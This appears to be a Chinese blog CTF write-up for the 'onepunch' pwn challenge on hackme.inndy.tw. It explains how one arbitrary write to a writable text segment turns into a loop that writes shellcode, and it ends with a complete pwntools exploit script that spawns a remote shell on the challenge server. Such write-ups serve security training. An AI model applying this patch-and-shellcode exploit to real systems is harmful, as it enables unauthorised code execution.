本文最后更新于:星期三, 一月 2日 2019, 4:13 下午

防护机制:

[*] '/home/zs0zrc/pwn/Scoreboard/onepunch/onepunch'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序的ida反编译出来的代码很短:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h]
  int v5; // [rsp+Ch] [rbp-14h]
  _BYTE *v6; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  printf("Where What?", 0LL);
  v5 = __isoc99_scanf("%llx %d", &v6, &v4);
  if ( v5 != 2 )
    return 0;
  *v6 = v4;
  if ( v4 == '\xFF' )
    puts("No flag for you");
  return 0;

程序要求输入一个地址,然后再往输入的地址写一个整数。然后再判断输入的整数是否等于255,如果等于就利用puts函数打印一句话然后退出。

这个程序只有一次任意地址写的机会,因为没有给不知道libc地址,所以写got表就不可行。在gdb调试时,发现 text段竟然具有可写的权限,所以可以通过patch程序来修改程序逻辑。

1537601571064

先修改程序逻辑,实现能循环读取

1537601651412

修改 0x400767处的 “jnz short loc_400773”为 “jnz_40071d”

1537601737535

changeadd(0x400768,0xb4)

然后往0x400769处写入shellcode

shellcode = asm(shellcraft.sh())
for i in range(len(shellcode)):
    changeadd(0x400769+i,ord(shellcode[i]))

exp:

#!/usr/bin/env python
from pwn import *
local = 0

if local:
    p = process('./onepunch')
    elf = ELF('./onepunch')
    libc = elf.libc
else:
    host = 'hackme.inndy.tw'
    port = '7718'
    p = remote(host,port)
    elf = ELF('./onepunch')

context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def changeadd(addr,content):
    ru("Where What?")
    p.sendline("{} {}".format(hex(addr),content))

changeadd(0x400768,0xb4)
shellcode = asm(shellcraft.sh())
for i in range(len(shellcode)):
    changeadd(0x400769+i,ord(shellcode[i]))

changeadd(0x400800,0xff)
p.interactive()

hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!